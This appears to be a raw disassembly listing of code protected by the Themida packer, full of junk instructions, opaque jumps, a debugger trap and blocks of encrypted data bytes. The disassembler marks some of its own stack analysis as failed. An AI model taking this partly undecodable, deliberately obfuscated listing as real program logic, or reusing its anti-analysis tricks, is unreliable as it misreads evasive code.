loc_5D3898:				; CODE XREF: Themida_:005D3884j
		jge	loc_5D38B6
		jmp	loc_5D38B6
; ---------------------------------------------------------------------------
		db 12h
		dd 7DFB6239h, 0F06712Bh, 7C0C16D2h, 561D4B46h
		db 4Ch,	27h
; ---------------------------------------------------------------------------


loc_5D38B6:				; CODE XREF: Themida_:loc_5D3898j
					; Themida_:005D389Ej
		popa
		add	bx, 4E6Fh
		mov	bl, 1Ch
		mov	eax, 4E82E98Ah
		mov	esi, 56EB81A8h
		pusha
		mov	edx, 1CE97C46h
		jge	loc_5D38D6
		push	ecx
		pop	edi


loc_5D38D6:				; CODE XREF: Themida_:005D38CEj
		popa
		mov	si, cx
		clc
		stc
		mov	bx, 7866h
		mov	si, 0CD8Ch
		movzx	eax, si
		mov	al, ch
		jb	loc_5D38F3
		mov	cx, 7F4Ah


loc_5D38F3:				; CODE XREF: Themida_:005D38E9j
		mov	ax, 785Dh
		mov	dl, 88h
		cld
		mov	bh, 39h
		mov	si, 0B57Ah
		sbb	edx, 27133ACh
		and	bx, 0E8E1h
		adc	bl, 90h
		sbb	ebx, 44D61B05h
		jge	loc_5D391D
		movsx	ecx, si


loc_5D391D:				; CODE XREF: Themida_:005D3914j
		mov	edx, eax
		mov	ax, 4439h
		pusha
		call	near ptr sub_5D3939
; ---------------------------------------------------------------------------
		db 0C4h, 0FBh, 0Fh
; ---------------------------------------------------------------------------
		jno	short loc_5D3950
		sbb	al, 0A1h
		jl	short near ptr loc_5D3932+5


loc_5D3932:				; CODE XREF: Themida_:005D3930j
		sbb	[eax+71C22267h], bl
		pop	ds

; =============== S U B	R O U T	I N E =======================================



sub_5D3939	proc far		; CODE XREF: Themida_:005D3924p
		push	ecx
		pop	edi
		pop	esi
		jnb	loc_5D3944
		pusha
		popa


loc_5D3944:				; CODE XREF: sub_5D3939+3j
		popa
		pusha
		pusha
		jmp	loc_5D395F
; ---------------------------------------------------------------------------
		dd 0A2FC473Dh
; ---------------------------------------------------------------------------


loc_5D3950:				; CODE XREF: Themida_:005D392Cj
		dec	eax
		mov	al, 1Eh
		xlat
		iret
; ---------------------------------------------------------------------------
		db 0E3h, 83h, 0CDh
		dd 87022FA2h
; ---------------------------------------------------------------------------
		adc	dl, 0B1h


loc_5D395F:				; CODE XREF: sub_5D3939+Ej
		mov	ecx, 0E7C7271h
		popa
		jle	loc_5D3970
		sbb	di, 8B09h


loc_5D3970:				; CODE XREF: sub_5D3939+2Cj
		popa
		mov	eax, edi
		jmp	loc_5D397E
; ---------------------------------------------------------------------------
		cmp	ecx, [edx+ebx+1Ch]
		stc
		dec	esi


loc_5D397E:				; CODE XREF: sub_5D3939+3Aj
		jmp	loc_5D398C
; ---------------------------------------------------------------------------
		db 10h
		dd 75F39FECh, 4038A100h
; ---------------------------------------------------------------------------


loc_5D398C:				; CODE XREF: sub_5D3939:loc_5D397Ej
		cld
		sbb	al, 5
		and	cx, 0D238h
		jmp	loc_5D39A8
; ---------------------------------------------------------------------------
		or	eax, 522869C6h
		sti
		lea	edx, [ecx-4FAE265Bh]
		add	edx, ecx


loc_5D39A8:				; CODE XREF: sub_5D3939+5Cj
		sub	dl, 33h
		mov	edi, 7E2ACC92h
		pusha
		js	loc_5D39C2
		jmp	loc_5D39C2
; ---------------------------------------------------------------------------
		dd 2E607F77h
		db 48h,	2Ch
; ---------------------------------------------------------------------------


loc_5D39C2:				; CODE XREF: sub_5D3939+78j
					; sub_5D3939+7Ej
		jnb	loc_5D39E1
		jmp	loc_5D39E1
; ---------------------------------------------------------------------------
		db 5, 59h, 87h
		dd 59310C61h, 0D0B4410Bh, 0F2E1D366h, 3B2EE53Ch
		db 0E3h
; ---------------------------------------------------------------------------


loc_5D39E1:				; CODE XREF: sub_5D3939:loc_5D39C2j
					; sub_5D3939+8Fj
		popa
		xor	ch, 0FDh
		jmp	loc_5D39FB
; ---------------------------------------------------------------------------
		dw 0B1EDh
		dd 85CE3219h, 0FD8CFBF3h, 918B5298h
		db 0BBh, 7Dh, 6Bh
; ---------------------------------------------------------------------------


loc_5D39FB:				; CODE XREF: sub_5D3939+ACj
		adc	eax, 493B447Eh
		mov	ch, 4
		push	ecx
		or	ecx, 2E6532F4h
		pop	edi
		mov	edi, 1CE18EF2h
		jnz	loc_5D3A27
		jmp	loc_5D3A27
; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------
		sub	bl, [ebp-28h]
		retf	0C91Ch
; ---------------------------------------------------------------------------
		dw 2973h
		db 0BBh, 95h, 14h
; ---------------------------------------------------------------------------


loc_5D3A27:				; CODE XREF: sub_5D3939+D7j
					; sub_5D3939+DDj
		mov	ax, di
		or	ecx, 7DEDBBF2h
		add	cx, 0F177h
		pusha
		push	ecx
		push	ebx
		pop	eax
		pop	ecx
		jns	loc_5D3A45
		add	bx, 1D69h


loc_5D3A45:				; CODE XREF: sub_5D3939+101j
		popa
		mov	cx, di
		movzx	ebx, ax
		sbb	edi, 3FBEF0EAh
		mov	ah, 0FAh
		jmp	loc_5D3A65
; ---------------------------------------------------------------------------
		db 0BBh, 2Bh, 47h
; ---------------------------------------------------------------------------
		or	bh, [ebx-9A99884h]
		push	ecx
		push	edi
		pop	edx


loc_5D3A65:				; CODE XREF: sub_5D3939+11Bj
		mov	esi, 5B6BB01Dh
		pusha
		mov	esi, ebx
		mov	esi, 705E0EB7h
		popa
		mov	edi, edx


loc_5D3A75:				; CODE XREF: Themida_:005D3A90j
		call	near ptr loc_5D3A8A+3
		jecxz	short near ptr loc_5D3A8A+2
		db	65h
		mov	edx, esi
		adc	al, 0F5h
		int	3		; Trap to Debugger
		fiadd	word ptr [eax-5EAEA77Dh]
		lahf
		push	ds


loc_5D3A8A:				; CODE XREF: sub_5D3939+141j
					; sub_5D3939:loc_5D3A75p
		test	ds:0CB816650h, al
sub_5D3939	endp ; sp-analysis failed

		jo	short loc_5D3A75
		pop	ecx
		jle	loc_5D3A9C
		xor	al, 1Ch


loc_5D3A9C:				; CODE XREF: Themida_:005D3A93j
		pusha
		mov	dx, bx
		sbb	dx, 0A3A6h
		popa
		push	ebx
		adc	si, 3866h
		pop	esi
		jmp	loc_5D3AC5
; ---------------------------------------------------------------------------
		dw 6B8Ah
		dd 0B5876DFDh, 7EC0B275h, 509AAB8Ah, 9BC1493Dh
		db 31h
; ---------------------------------------------------------------------------


loc_5D3AC5:				; CODE XREF: Themida_:005D3AADj
		sbb	ah, 3Fh
		mov	ch, 96h
		jmp	loc_5D3AE0
; ---------------------------------------------------------------------------
		db 0CDh
		dd 25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah
; ---------------------------------------------------------------------------


loc_5D3AE0:				; CODE XREF: Themida_:005D3ACAj
		mov	ebx, edx
		jmp	loc_5D3AFB
; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------
		retn	6A82h
; ---------------------------------------------------------------------------
		db 0F3h
		dd 491C4A56h, 90EC53A2h, 0E527B007h
		db 0A7h, 0F1h, 34h
; ---------------------------------------------------------------------------


loc_5D3AFB:				; CODE XREF: Themida_:005D3AE2j
		jg	loc_5D3B0D
		pusha
		and	di, 3200h
		mov	ecx, 2C4983A2h
		popa


loc_5D3B0D:				; CODE XREF: Themida_:loc_5D3AFBj
		sub	dh, 0EEh
		movzx	edi, dx
		mov	di, ax
		pusha
		xor	edx, 41B8D7B5h
		jmp	loc_5D3B27
; ---------------------------------------------------------------------------
		dw 6B12h
		db 0A5h, 1Bh, 67h
; ---------------------------------------------------------------------------


loc_5D3B27:				; CODE XREF: Themida_:005D3B1Dj
		popa
		mov	eax, esi
		jmp	loc_5D3B3C
; ---------------------------------------------------------------------------
		push	cs
		cmc
		mov	gs, [esi+66h]
		xchg	eax, ecx
		dec	eax
		fstp1	st(6)
		retf
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		sahf


loc_5D3B3C:				; CODE XREF: Themida_:005D3B2Aj
		mov	ebx, 466F8F6Dh
		mov	ecx, edi
		mov	esi, edx
		pusha
		jnz	loc_5D3B52
		jo	$+6


loc_5D3B52:				; CODE XREF: Themida_:005D3B46j
		popa
		or	dl, 70h
		pusha
		mov	bh, 35h
		popa
		movsx	edx, ax
		adc	cl, 0AEh
		movsx	edi, di
		jz	loc_5D3B6B
		mov	bh, 78h


loc_5D3B6B:				; CODE XREF: Themida_:005D3B63j
		call	sub_5D3B80
		sbb	ebp, ebp
		setalc
		arpl	dx, cx
		mov	ch, 3Ah
		pop	ds
		loopne	loc_5D3BCB
		sbb	[edx-26F17BD7h], edx

; =============== S U B	R O U T	I N E =======================================



sub_5D3B80	proc near		; CODE XREF: Themida_:loc_5D3B6Bp
		mov	ebx, eax
		pop	ebx
		call	loc_5D3B94
		popa
		pop	esp
		rol	dword ptr ss:[ecx-7Eh],	1
		cmpsd
		adc	al, 68h
		into
		retn
sub_5D3B80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------


loc_5D3B94:				; CODE XREF: sub_5D3B80+3p
		mov	al, 0D2h
		pop	edx
		push	edx
		cld
		pop	esi
		mov	ecx, eax
		mov	bl, al
		mov	edi, ebx
		stc
		jmp	loc_5D3BB5
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		mov	dh, 15h
		rcl	cl, 1
		wait
		and	[edi+5Fh], esi
		aas
		mov	ds:97343FDAh, eax


loc_5D3BB5:				; CODE XREF: Themida_:005D3BA1j
		jp	loc_5D3BBD
		mov	dl, cl


loc_5D3BBD:				; CODE XREF: Themida_:loc_5D3BB5j
		mov	dx, 5BFh
		movsx	edx, si
		jmp	near ptr loc_5D3BD9+4
; ---------------------------------------------------------------------------
		db 82h,	55h
; ---------------------------------------------------------------------------


loc_5D3BCB:				; CODE XREF: Themida_:005D3B78j
		insd
		scasd
		xor	al, 7
		in	al, 0BBh	; Interrupt Controller #2, 8259A
		mov	bh, 0B6h
		xchg	eax, ecx
		cmp	al, dl
		jp	short loc_5D3C1C


loc_5D3BD9:				; CODE XREF: Themida_:005D3BC4j
		and	byte ptr [ecx-7E99C6D6h], 0D7h
		cmp	ah, [ebx]
		jno	loc_5D3BEE
		ja	$+6


loc_5D3BEE:				; CODE XREF: Themida_:005D3BE2j
		cld
		jmp	loc_5D3BFE
; ---------------------------------------------------------------------------
		dd 9B6A7AF1h, 0A1835700h
; ---------------------------------------------------------------------------
		sbb	[edx], eax


loc_5D3BFE:				; CODE XREF: Themida_:005D3BEFj
		mov	ax, 0A86Dh
		pusha
		mov	eax, edx
		call	loc_5D3C13
		enter	0FFFFF215h, 0C8h
		mov	bl, 57h
		cld
		sal	ch, cl


loc_5D3C13:				; CODE XREF: Themida_:005D3C05p
		jmp	near ptr loc_5D3C1F+3
; ---------------------------------------------------------------------------
		dd 16544C3Dh
; ---------------------------------------------------------------------------


loc_5D3C1C:				; CODE XREF: Themida_:005D3BD7j
		dec	esi
		mov	dl, 8Bh


loc_5D3C1F:				; CODE XREF: Themida_:loc_5D3C13j
		xor	[esi-459EA6CCh], ebx
		jp	short near ptr loc_5D3C53+2
		db	26h
		or	eax, 0C6BF0F51h
		pop	ecx
		or	cx, 6FECh
		pusha
		jle	loc_5D3C3D
		movsx	ebx, cx


loc_5D3C3D:				; CODE XREF: Themida_:005D3C34j
		popa
		adc	dx, 0AD6Ah	; CODE XREF: Themida_:005D3C59j
		movsx	ecx, di
		sub	edx, 0B6B689h
		mov	edi, 43E08036h
		mov	dl, 3Fh


loc_5D3C53:				; CODE XREF: Themida_:005D3C25j
		call	near ptr loc_5D3C64+3
		pop	esi
		loopne	near ptr loc_5D3C3E+3
		rcl	ecx, 1
		stosb
		cwde
		test	eax, 52F60973h


loc_5D3C64:				; CODE XREF: Themida_:loc_5D3C53p
		sub	[edi+esi*2-45h], eax
		db	2Eh
		fdiv	st, st(4)
		xor	[edi-17h], ebx
		adc	eax, [eax]
; ---------------------------------------------------------------------------
		dd 49170000h, 634505Bh,	0D8320B94h, 7A00C839h, 45114F13h
		dd 9E9A3h, 0E6010000h, 91559EE0h, 8B915EDDh, 8B0F51F8h
		dd 19h,	13E8h, 88514100h, 9B8F2EB1h, 5800F6F7h,	0FDBDAAE4h
		dd 0A89C9A9Fh, 0E9505B5Ah, 14h,	5F70E0B8h, 92707DFEh, 92347CFAh
		dd 0DF91E776h, 0D4693A27h, 860F605Bh, 1, 0E08061F5h, 0BE8F815h
		dd 0A1000000h, 7C00BAF6h, 68206FAh, 0E953955Ah,	12h, 0E46FE55Fh
		dd 2BCC5063h, 2468FAE6h, 0DB41C830h, 5B59E699h,	1A07B966h
		dd 0F38BCA8Bh, 2890Fh, 0C68B0000h, 8A0FC68Ah, 4, 6622BF66h
		dd 11E8h, 31EE1500h, 964EF26Bh,	9A03FE6h, 57994A95h, 850F8052h
		dd 2, 0E8585A51h, 5, 444681Ah, 0DE989h,	0D81B0000h, 5D1F0DA8h
		dd 0DCCB883Bh, 5B1D41B2h, 12E9h, 3E87600h, 5410ECD3h, 631970CAh
		dd 0E9E17837h, 81A526B3h, 60DC22C0h, 1D8F0F5Ah,	0F000000h
		dd 178Ah, 12E900h, 5E2D0000h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh
		dd 0A6F5162Dh, 0E8F18B66h, 9, 98551F55h, 0ADD2643Ah, 60F8600Fh
		dd 505A6161h, 5EF98B66h, 8E8D88Bh, 42000000h, 0FC79DD7Ah
		dd 603DEBECh, 61C28B66h, 11E95Ah, 0E34B0000h, 0FA67209Fh
		dd 0ACE45AFFh, 8B00BF28h, 0E80DEA6Fh, 0Fh, 3D7AA206h, 8459307Bh
		dd 0EFD5DDBEh, 0FD8A3C5h, 583h,	0EA85B900h, 60597B8Dh
		dd 59C3BB66h, 14E961h, 0EE420000h, 1171DC20h, 8C641CF7h
		dd 6B08D4F4h, 0A41BC4FBh, 0EE99D74h, 0D0000000h, 0F18DDB95h
		dd 6B867782h, 26214889h, 3ABF66CBh, 0DBB70F0Ch,	9E9C18Bh
		dd 5B000000h, 3EB516EDh, 0D68D7E4Dh, 66F7BF0Fh,	0F52FBAB9h
		dd 81E9BA66h, 8E9h, 0B2276700h,	0B7E72C2Ah, 12E8BDh, 64D70000h
		dd 70C4F2D9h, 90AF4933h, 4B567200h, 0EDE4E18Dh,	5870Fh
		dd 81660000h, 599666F7h, 0F63CF80h, 8Bh, 0F2816600h, 0EB8A6F89h
		dd 0BECB8B66h, 699D2B7Eh, 6651D68Bh, 0D374D981h, 0E95E515Fh
		dd 7, 3044D4D0h, 6059C328h, 0EF816651h,	605A2F56h, 10E8h
		dd 79B95800h, 0A4920250h, 0C08B630Dh, 422A5011h, 7E85F5Bh
		dd 57000000h, 0EC5CD7E5h, 6158334Bh, 11820F61h,	0E9000000h
		dd 0Ch,	72DB44DDh, 0C2B983AFh, 0EFA82AD6h, 13E9h, 4DD24400h
		dd 4E2CE3EAh, 98460BE8h, 0B89FAB55h, 5B739390h,	5A22BEBAh
		dd 95D88025h, 0BE9h, 0EED62E00h, 3AAF936Ch, 0AC54B2A1h
		dd 0EDB1D381h, 9E93D47h, 0BD000000h, 2BBEAAC7h,	44C267F8h
		dd 80CBB70Fh, 8166B8E3h, 0E8F1CCCBh, 5,	18E28784h, 38C0F3Fh
		dd 80000000h, 665B66CAh, 867ECB81h, 12E9h, 29351500h, 86C3DC5h
		dd 110C4133h, 293684h, 0FF534D5h, 32B8C8BFh, 0F33A8B7h
		dd 18Ah, 0CE9F800h, 51000000h, 5B211796h, 0A52882C8h, 0BBD8C67Ah
		dd 35F40C52h, 0F8CEB70Fh, 7E9h,	0DE7EAC00h, 6BB26E82h
		dd 51E647B8h, 0C080607Fh, 31E681BDh, 615D61BEh,	3850Fh
		dd 0C0800000h, 14E9F3h,	51BF0000h, 0E6E17FFEh, 5DA4A2C0h
		dd 2F299FA2h, 0BB6B4803h, 0D78B3DBFh, 8B66DA8Bh, 0BB6660DFh
		dd 0F60BD95h, 86h, 890F00h, 61000000h, 0AE8FC61h, 0C3000000h
		dd 0DF9CBF54h, 0EB4DAD58h, 0FB8B661Ch, 91B9665Ah, 0F69B686h
		dd 880h, 0CE815600h, 511439A6h,	0DFBF0F5Eh, 5E9h, 4A2A6800h
		dd 0CBB615B8h, 8166F5F5h, 0B2EA73DBh, 5E8520Dh,	2000000h
		dd 56A97512h, 800Fh, 5A580000h,	0BE9h, 41726D00h, 81500EDDh
		dd 0E61F90B4h, 8E9h, 189EED00h,	0F259960Bh, 8E0F44h, 0F000000h
		dd 0C81h, 6850F00h, 0F000000h, 83h, 95B86600h, 38B0F6Ch
		dd 80000000h, 0B70F9ECDh, 0FE9F8h, 81C90000h, 278837F3h
		dd 1C11540Dh, 0BFBED63Eh, 13E946h, 0C4B10000h, 0BB2CE69h
		dd 9722FA60h, 5E928C5Ah, 0CC7649B8h, 0ACBA6691h, 8810F5Ch
		dd 0F000000h, 281h, 60D08B00h, 66D8DB80h, 61A71CB9h, 7E206CBAh
		dd 0D8B70F1Dh, 8BDFB70Fh, 7B0F8D8h, 66CA8B66h, 0E89175BFh
		dd 11h,	61541D51h, 89073F63h, 0D79E92CCh, 6DDB354Fh, 39DF81A5h
		dd 5A58687Ch, 0AFC88166h, 0F71B549h, 489h, 0E0B86600h
		dd 0E8FE8B0Bh, 8, 0FAF7CF2Bh, 7A2BD0EFh, 11E9h,	6A2CFF00h
		dd 7712847Dh, 49D92D96h, 32F19DC5h, 805F0B56h, 0F18B1FCCh
		dd 0DDD48052h, 0BE95Bh,	0AD840000h, 8DF397C1h, 7B63FDF9h
		dd 5850FEEh, 0B8000000h, 43AE92E5h, 0E875B4F8h,	10h, 462BEC3Ch
		dd 1AA9E1B8h, 0CB4DD57h, 0FE015C1Ah, 0BE85FF9h,	73000000h
		dd 0DC81A85Ch, 32901180h, 7E92ABFh, 0D8000000h,	0C9469A69h
		dd 0E85E6FF5h, 7, 64631886h, 0F5DC4C25h, 1850F5Bh, 0F9000000h
		dd 0FC68B66h, 0E181F8BFh, 2B33A053h, 0BBCABF0Fh, 0EC8EFB9h
		dd 0BDF8E381h, 0EE8A48EBh, 0C86CC981h, 9B0306Ah, 0BEF98B66h
		dd 75D638C9h, 0FCA8B66h, 381h, 94C28000h, 665134B7h, 0E958D88Bh
		dd 0Ch,	115658E2h, 0CD32DEAEh, 0B5F1D6FBh, 0C181A1B2h
		dd 86643D2h, 0F78B66F8h, 258E0Fh, 0DE80000h, 0A000000h
		dd 54304086h, 4E82FE2Ah, 79A5F166h, 0DE9h, 4B13F600h, 931CD428h
		dd 5958FB5Fh, 0F58E61Ch, 89h, 7E900h, 76C0000h,	0A8844ECh
		dd 0C78160E6h, 38FEDDD8h, 2AF08166h, 8D0F6145h,	19h, 0AC08060h
		dd 0EE8h, 0CBFB1000h, 2FD59D81h, 247733Fh, 5ECB53AFh, 0CDBB6661h
		dd 8C0FFC63h, 9, 3810Fh, 0BF0F0000h, 19860FFBh,	0E8000000h
		dd 11h,	3E359826h, 1014AFCDh, 610F6BCCh, 404E5404h, 595E57A8h
		dd 61DA8B60h, 3890Fh, 8B660000h, 81F860F8h, 0B2FD7BD1h
		dd 0BE666133h, 9E959E2h, 40000000h, 2558671Eh, 43ED76B8h
		dd 6ECE8166h, 0EE887h, 1FCB0000h, 1C39444Bh, 2E6D9AC6h
		dd 590E0473h, 5ECB8B66h, 96CF8166h, 0ACBA6608h,	0D2815042h
		dd 334CE5D5h, 13E85259h, 0FC000000h, 0C50234Bh,	18A97FF6h
		dd 0DDF9AD2Ch, 7801CEF6h, 5E500ABBh, 12E95B5Ah,	17000000h
		dd 1679177Eh, 0C5957259h, 1E43B6D1h, 60245840h,	0DA8B661Dh
		dd 586CBF66h, 6E9h, 0D5941800h,	0BB4011D0h, 688EADEDh
		dd 0FDF8B66h, 11E8CBB7h, 76000000h, 0A4327FB9h,	51BA61ADh
		dd 3F50EC13h, 0B3F22E6Ah, 19870Fh, 13E80000h, 0D5000000h
		dd 4B87382h, 0CB6827BDh, 48FAC6FCh, 0D0B01AF8h,	5F5ED4A2h
		dd 683FB956h, 0E95F3C2Bh, 11h, 0F5F52F6Bh, 0F04414C3h
		dd 71325AE5h, 8B8321EFh, 0F38B66A0h, 0CE8F5F9h,	50000000h
		dd 0E5396F70h, 0FC842759h, 0E8C6C249h, 0Dh, 70894317h
		dd 0BF66644Eh, 813A0F7Eh, 0AECA817Eh, 5920240Bh, 6057F859h
		dd 14E8h, 0B27E3800h, 9BE7D0DBh, 4E3B2BEFh, 5EBEE73Dh
		dd 2443840Ch, 5F5758ADh, 0E2815E61h, 16BBD6C7h,	66DF8B66h
		dd 0FB4F7B8h, 1987h, 14E900h, 24700000h, 83D46D38h, 7429224Ch
		dd 0B8FE20C0h, 5989BA69h, 6660C033h, 0FF2F6BBh,	0F61F7BFh
		dd 387h, 1FF58000h, 0B37FF380h,	18D0FE3h, 0F5000000h, 80C6B70Fh
		dd 860FDDE7h, 2, 8B66D88Bh, 8840FFBh, 0F000000h, 28Eh
		dd 0BBF78A00h, 611F9A14h, 9E9h
		dd 61D00500h, 260D3987h, 0D980F7AFh, 0C18B5790h, 5890F59h
		dd 0BE000000h, 2F5C62A5h, 0DE9h, 0DE40F400h, 86993B2Ch
		dd 0A0603195h, 10E93960h, 0FE000000h, 0A8743141h, 9E427F89h
		dd 0FFAF3E07h, 56D25539h, 0D4DA8166h, 8B66587Ch, 0F8E0FFEh
		dd 0E9000000h, 0Ah, 80F5A03Bh, 0A498BF70h, 0B70F0793h
		dd 48F0FD0h, 66000000h,	6097EABEh, 8E9h, 7EA56400h, 51489995h
		dd 0FA8B6631h, 6E961h, 0C3B0000h, 0B2BC50F3h, 0DE9h, 45316000h
		dd 0F569E03h, 193EE9A2h, 2ABA76F1h, 0B742AB06h,	4890F05h
		dd 66000000h, 66CFC5BAh, 0FF5B8BEh, 289h, 0FF88B00h, 882h
		dd 28E0F00h, 8A000000h,	0B1B966FAh, 0D981663Ch,	840F4509h
		dd 1Ah,	148A0Fh, 0FE90000h, 88000000h, 0D108EAD0h, 1E6884A3h
		dd 4DE5F59Fh, 0BB667433h, 8E0F616Fh, 3,	52D9BF0Fh, 9DC1815Fh
		dd 0E9796B63h, 8, 1F68BBA6h, 0B3BE820Eh, 1F82DB81h, 0BB661E18h
		dd 0E952392Bh, 0Bh, 543FBA4Fh, 33CB7D5Bh, 5BBFED3Ah, 0FF813B4h
		dd 683h, 800F00h, 0F000000h, 283h, 0FD58A00h, 98Ah, 3880F00h
		dd 0F000000h, 0B70FCEB7h, 0E8CA8AF2h, 0Dh, 0EECB6229h
		dd 5806F0CFh, 2B6AEAFAh, 81665BF4h, 609EFADFh, 0D9C28166h
		dd 0BE818h, 0F9660000h,	384B03A0h, 6E26CAFAh, 0FB8B668Eh
		dd 0E952615Fh, 12h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh
		dd 7DB32EADh, 805A66D3h, 0E2813BF0h, 2A51BD7Bh,	7E9h, 51707200h
		dd 300FD409h, 0CB8BC38Bh, 978DBA60h, 0CA804E17h, 8B666103h
		dd 0FC28BC1h, 1381h, 0BE85300h,	97000000h, 0D61584AEh
		dd 3943875Bh, 5B5F9051h, 0AE960h, 0BBB70000h, 0B57315ABh
		dd 0B6417D69h, 0F78B460h, 85h, 0F616100h, 48Ah,	98BF6600h
		dd 0B999BFE0h, 800F60B5h, 18h, 10E8h, 74186100h, 0F89A0361h
		dd 0D1BF7F5Ch, 80B0EA28h, 5EF38AA5h, 0BEDE8B66h, 896995Ah
		dd 0AE9h, 9E0E0300h, 0C4D39B7Bh, 661613B3h, 66E84ABFh
		dd 5B86EF81h, 0E8F8CD80h, 13h, 0C773BF51h, 0B0775C70h
		dd 2D798CB7h, 41340172h, 0E930148Fh, 10h, 1620A875h, 1177682h
		dd 2FF2F2E7h, 0E8788852h, 0FC28B5Fh, 0E980D8BFh, 0FBBF0FFCh
		dd 800FBDB1h, 5, 79F87BBEh, 7E908h, 0F99F0000h,	894B727Fh
		dd 0AD2EB968h, 8C0F4759h, 3, 0E9CE8B66h, 9, 471BC5D7h
		dd 6DD9893Ah, 0C3BF0FABh, 0D381C28Bh, 466293A2h, 8B50E7B1h
		dd 8B6659F9h, 12E9D3h, 4C6F0000h, 0D552CAEEh, 71CAB74Eh
		dd 95D56397h, 408D980Eh, 0B8DF8166h, 850F67h, 80000000h
		dd 80607ED9h, 0BF0F98E5h, 0B86661D9h, 12E9328Dh, 67000000h
		dd 0A20060D1h, 105EFA64h, 0A39068D6h, 0EA5501F5h, 7E960DBh
		dd 6F000000h, 847FBB2Bh, 54BB2194h, 616D6C5Ah, 6E1AACBFh
		dd 7F38100h, 6677D610h,	8B66F38Bh, 4A05B8F1h, 0F600028h
		dd 890FC9BFh, 1, 840F61F9h, 6, 27B9DB81h, 0E85124DDh, 0Dh
		dd 5746E0FEh, 6117D679h, 2F972DBCh, 880F61h, 5B000000h
		dd 0CF8B5059h, 0A7F68158h, 0E939D86Bh, 0Dh, 0A2335317h
		dd 9AD74365h, 1913ECE4h, 0EB81667Ch, 81662751h,	0E8BAEAC9h
		dd 13h,	1E35782Bh, 0B0A9C742h, 0D327FE49h, 7E01DC50h, 8BD1C4D9h
		dd 820F59C8h, 5, 33B808BAh, 58C0F05h, 66000000h, 0AA80F181h
		dd 5481B9F5h, 0B70F63EEh, 0C88B66C3h, 0AE9h, 5B295300h
		dd 1EDF32F0h, 60A7E244h, 1890Fh, 0B1F90000h, 0BF0F61DDh
		dd 0FF98BC6h, 483h, 0BFB86600h,	0BE930h, 0A24E0000h, 80D3D7B2h
		dd 487ADFAEh, 0C9BF0F78h, 0FE9F9h, 57360000h, 593499E9h
		dd 0AC1D99B0h, 6FB4F653h, 56C78B3Dh, 5ED3B70Fh,	4890Fh
		dd 0B9660000h, 0D7BB3FECh, 8B0F64CBh, 805152F7h, 585F20CEh
		dd 38E0Fh, 0B70F0000h, 0D68B66D2h, 0EE9h, 0C56DD00h, 0D26CFF3Ch
		dd 0ED9E28C5h, 0BED3E5DBh, 2A0B4EBh, 0DE9h, 0F853CE00h
		dd 0E896C8FFh, 6BD9DF23h, 0B660E11Ah, 6146B335h, 8166F560h
		dd 61AB96C2h, 7EE08166h, 60FA8BB7h, 0FE9h, 224B3D00h, 0C139D3BEh
		dd 679E226Bh, 3A0CD4D8h, 0BE6661F9h, 0CE95BDEh,	2D000000h
		dd 9A623E90h, 0F8638C01h, 6682716Fh, 8166D08Bh,	0B246BDEBh
		dd 80E78A43h, 8E0FB8D2h, 4, 9DEEB966h, 0FDFBF0Fh, 10E8DBBFh
		dd 4C000000h, 9856C18Ah, 0AF595D85h, 0B84CC1E0h, 0E8D204B7h
		dd 7, 79D4B3D7h, 0F82AF1A5h, 8B66585Ah,	0C38166D7h, 80536A55h
		dd 605A07C8h, 930AAABAh, 61D38B1Ch, 81D18B66h, 0D74C87E0h
		dd 13E934h, 0CBA30000h,	788FF5E9h, 3850AF89h, 8A1C1D09h
		dd 0AE6F4F31h, 8166508Ch, 59461ECBh, 0E984B4F8h, 10h, 0B598A60Eh
		dd 4FA1E100h, 52D855DFh, 9B31FECBh, 0FC3BF0Fh, 1B84h, 13E86000h
		dd 5D000000h, 25CA73D4h, 0C5C26E12h, 285CF358h,	74245C4Fh
		dd 6159591Dh, 800Fh, 850F0000h,	1, 6FB966F8h, 9E97Ch, 0A2B10000h
		dd 485A5BEBh, 0FBACFD8h, 285h, 0B3FA8B00h, 3B6DBFFCh, 0D78B3C21h
		dd 11E9h, 0E3748200h, 9A1449D6h, 60347A83h, 6458804Dh
		dd 60F976F8h, 0D2D18166h, 0F78B6685h, 8B665761h, 0AE95FD1h
		dd 0A5000000h, 4B028BB5h, 7EED53F9h, 38F0F2Dh, 60000000h
		dd 5E961F5h, 12000000h,	4C089F7Bh, 0CBE7BB66h, 0B0F78B66h
		dd 17BA66E0h, 0BA665715h, 8A59E0C8h, 0A850FF9h,	0E9000000h
		dd 5, 0A9C107C7h, 0FC9B0BAh, 0E88h, 9E900h, 0F9A80000h
		dd 2AD04842h, 6665A9C2h, 0CF7FC781h, 0FE9h, 0E4AF1D00h
		dd 13FDE9A3h
		db 0B8h, 0A4h
; ---------------------------------------------------------------------------


loc_5D4AB6:				; CODE XREF: Themida_:005C50E6J
		xor	edi, ds:170BD73Ah
		pusha
		jmp	loc_5D4AD5
; ---------------------------------------------------------------------------
		dw 6F51h
		dd 808ABD0h, 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh
; ---------------------------------------------------------------------------
		setalc


loc_5D4AD5:				; CODE XREF: Themida_:005D4ABDj
		sbb	cx, 0AFCEh


loc_5D4ADA:				; CODE XREF: Themida_:005D4B12j
		popa
		mov	edx, esi
		sub	ecx, 41010CDh
		jo	loc_5D4AEB
		mov	eax, edx


loc_5D4AEB:				; CODE XREF: Themida_:005D4AE3j
		jz	loc_5D4AF6
		mov	ebx, 7D20E3D5h


loc_5D4AF6:				; CODE XREF: Themida_:loc_5D4AEBj
		js	loc_5D4B01
		pusha
		cld
		push	esi
		pop	edx
		popa


loc_5D4B01:				; CODE XREF: Themida_:loc_5D4AF6j
		call	sub_5D4B17
		in	eax, 5Eh
		imul	edx, eax, 7F5B2EC5h
		db	64h
		shr	eax, 0A4h
		jecxz	short loc_5D4ADA
		push	edi
		stc
		pop	es

; =============== S U B	R O U T	I N E =======================================



sub_5D4B17	proc near		; CODE XREF: Themida_:loc_5D4B01p
		mov	dl, 0F2h
		pop	eax
		movsx	edi, ax
		jmp	loc_5D4B29
; ---------------------------------------------------------------------------
		adc	[edx-7], ch
		pushf
		mov	cl, 3Ah
		push	ebx


loc_5D4B29:				; CODE XREF: sub_5D4B17+6j
